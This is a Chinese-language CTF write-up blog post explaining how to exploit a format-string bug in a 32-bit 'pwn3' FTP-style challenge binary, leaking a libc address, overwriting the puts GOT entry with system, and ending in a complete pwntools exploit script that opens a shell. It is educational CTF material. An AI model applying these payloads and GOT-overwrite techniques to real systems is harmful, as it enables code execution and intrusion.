盒子
盒子
文章目录
  1. 前言:
  2. 正题:
    1. 1.如何执行system函数:
      1. 0xa. 利用pwntools中已经成型的函数fmtstr-payload
      2. 0xb. 自己构造playload
    2. 2. 如何获取/bin/sh字符串?
  • EXP:
  • Hijack_Got

    前言:

    上了一天的课已经很疲惫了,想着今晚就把昨天所解的一道格式化字符串的漏洞给写一下,然后好好睡一觉接着上课,昨晚画工图画到怀疑人生,突然惊觉明天运动会放假,不用上课啦哈哈哈哈哈哈,开心~

    正题:

    一道泄漏libc来利用的格式化字符串题。

    题目

    直接上手反汇编:

    屏幕快照 2018-05-17 下午9.14.54

    加上运行过后整体了解到有一块检测登陆用户和三个模块函数,一个是编写文件’put’,一个是显示文件’dir’,还有一个是读取文件’get’。

    这里推荐一个比较好用的格式化漏洞查看的插件,叫lazyIDA,在GitHub上有开源项目。

    漏洞点出现在这里读取文件函数里面:

    屏幕快照 2018-05-17 下午9.21.08

    最后面的printf处。它的地址:

    1
    .text:0804889E                 call    _printf

    用gdb在这里下断点后开始调试。前面验证用户名密码的步骤很容易就可以patch掉,密码是’rxraclhm’。暂停在断点处:

    屏幕快照 2018-05-17 下午9.26.22

    往下看堆栈中的数据:

    屏幕快照 2018-05-17 下午9.27.20

    可以看见我们的输入出现在距离格式化字符串的偏移量为7的位置。

    偏移地址找到了,接下来就是找需要泄漏的函数,我们这里用常规函数’__libc_start_main’来泄漏。但是好像在堆栈中没有找到这个函数?不一定,我们往下继续找:

    屏幕快照 2018-05-17 下午9.29.51

    终于在距离偏移91处找到了改函数+247后的地址,所以泄漏改地址之后再减去247后就是真正的’__libc_start_main’函数的地址。那么我们就在所’put’上去的文件内容中写上:

    1
    %91$p

    就可以得到该地址。

    得到system函数的地址之后接下来我们要做的是什么?

    1. 如何执行system函数?
    2. /bin/sh字符串如何获取?

    1.如何执行system函数:

    我们可以利用格式化字符串漏洞覆盖大数字的作用去修改got表的地址,这里我们想到的就是将puts函数的got表地址修改成system函数地址,所以当执行puts函数的时候其实执行的是system函数。接下来就是如何去修改的问题了。

    这里有两种方法:

    0xa. 利用pwntools中已经成型的函数fmtstr-payload

    该函数的利用方式:

    1
    2
    fmtstr_payload(7, {puts_got: system_addr})
    payload = fmtstr_payload(7, {puts_got: system_addr})

    意思就是,格式化字符串的偏移是7,我希望在puts_got地址处写入system_addr地址。默认情况下是按照字节来写的。

    puts_got的地址可以用ELF.got[‘puts’]来获取,system地址上面已经获取到了。

    0xb. 自己构造playload

    格式化字符串写一般分两次写入,每次写半个dword长度的内容,这样可以大大减少程序输出大量空格的时间。两个payload如下:

    1
    2
    payload1 = p32(puts_got) + '%%%dc' % ((system_addr & 0xffff)-4) + '%7$hn'
    payload2 = p32(puts_got+2) + '%%%dc' % ((system_addr>>16 & 0xffff)-4) + '%7$hn'

    当前环境中,实际内容是:

    1
    2
    payload1 = "x28xa0x04x08%396c%7$hn"
    payload2 = "x2axa0x04x08%46942c%7$hn"

    其中p32(puts_got)将数字形式的0x0804a028转为可被读入内存的字符串形式”x28xa0x04x08”,%396c与%46942c代表输出396或46942个空格,system_addr & 0xffff 取半个dword后还需减去4,是因为前面p32(puts_got)已经占了四个字节,这四个字节与后面的空格数相加的总字节数相加刚好为system_addr & 0xffff,而该值将会写入当前printf的第7个不定参数中,而这第七个不定参数正好是puts_got与puts_got+2 ,以shellcode2的执行情况为例,请看下图:

    屏幕快照 2018-05-17 下午9.44.37

    prinf函数的参数从栈顶开始,栈顶指向我们所构造的format payload字符串的地址,然后往下分别是第一个不定参数,第二个不定参数……第七个不定参数即为我们所输入的格式化串中的前四个字节内容0x0804a02a。因而执行完该语句后,会向0x0804a02a写入两个字节内容:0xb762。

    payload1的执行过程同理,当执行完以上两条payload之后,我们便成功向地址0x0804a028中写入了四字节内容0xb7620190,即将plt表中puts的地址替换成了system函数的地址,所以当再次向系统发送dir指令,并执行puts函数时,实际执行的则是system函数。

    2. 如何获取/bin/sh字符串?

    这里就得看自己的眼尖不尖了,或者也可以说是自己想不想的到了,puts函数在dir函数中用到,因为puts出来的是文件名,所以当puts执行的是system函数时所用的参数就是文件名,所以我们可以把文件名写成/bin/sh来完成调用。

    因为整个exp中需要put两次文件,所以第一次put文件名可以用’/sh’,第二次在用’/bin’。或者是最后一次直接使用’/bin/sh;’文件名,用分号直接区分开来。我们可以用gdb来看看,在puts函数处下断点:

    屏幕快照 2018-05-17 下午9.59.13

    这是加分号的情况。

    屏幕快照 2018-05-17 下午10.00.31

    这是分两次输入/bin/sh的情况。以上两种都成功执行了system函数。

    EXP:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    from pwn import *

    p = process('./pwn3')
    libc = ELF('libc.so')
    elf = ELF('pwn3')
    context.log_level = 'debug'

    p.recvuntil('Name (ftp.hacker.server:Rainism):')
    p.sendline('rxraclhm')
    p.recvuntil('ftp>')
    p.sendline('put')
    p.recvuntil('please enter the name of the file you want to upload:')
    p.sendline('/sh')
    p.recvuntil('then, enter the content:')
    p.sendline('%91$p')
    p.recvuntil('ftp>')
    p.sendline('get')
    p.recvuntil('enter the file name you want to get:')
    p.sendline('/sh')

    libc_addr = int(p.recv(10),16)
    print libc_addr
    libc_real = libc_addr - 247
    libc_base = libc_real - libc.symbols['__libc_start_main']
    sys_addr = libc_base + libc.symbols['system']
    #gdb.attach(p)
    print hex(sys_addr)

    put_got = elf.got['puts']
    playload = fmtstr_payload(7, {put_got: sys_addr})
    p.recvuntil('ftp>')
    p.sendline('put')
    p.recvuntil('please enter the name of the file you want to upload:')
    p.sendline('/bin')
    p.recvuntil('then, enter the content:')
    p.sendline(playload)
    p.recvuntil('ftp>')
    p.sendline('get')
    p.recvuntil('enter the file name you want to get:')
    p.sendline('/bin')
    #gdb.attach(p)
    p.recvuntil('ftp>')
    gdb.attach(p)
    p.sendline('dir')
    p.interactive()

    学习愉快~

    支持一下
    扫一扫,支持v1nke
    • 微信扫一扫
    • 支付宝扫一扫